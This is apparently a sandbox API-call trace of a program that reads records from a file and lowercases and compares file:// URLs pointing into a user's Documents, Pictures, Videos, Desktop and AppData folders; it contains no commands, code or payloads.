[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.243] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 0x3e
[0079.243] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
[0079.243] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.243] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.243] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
[0079.243] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.244] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/Ycm4MHs.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv"
[0079.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 47
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.244] wcscmp (_String1="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.244] wcslen (_String="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 0x2e
[0079.244] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
[0079.244] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.244] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.244] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
[0079.244] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.245] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/DdDhzInI5bpuQ7.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx"
[0079.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 68
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.245] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.329] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.329] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.329] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.329] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.329] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.330] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 0x43
[0079.330] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
[0079.330] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.330] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.330] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
[0079.330] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.330] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/VyyoBBl2SS.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif"
[0079.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 83
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.330] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.331] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 0x52
[0079.331] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
[0079.331] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.331] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.331] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
[0079.331] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.331] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/NZCvImVKjtdcT.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp"
[0079.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 70
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.331] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.332] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 0x45
[0079.332] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.332] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.332] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.332] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.332] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.332] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/9mOAD6.gif" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif"
[0079.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 55
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.332] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.333] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 0x36
[0079.333] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
[0079.333] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.333] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.333] SetFilePointer (in: hFile=0x9c, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
[0079.333] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.333] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/KYE9P798D.png" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png"
[0079.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 58
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.333] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.334] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 0x39
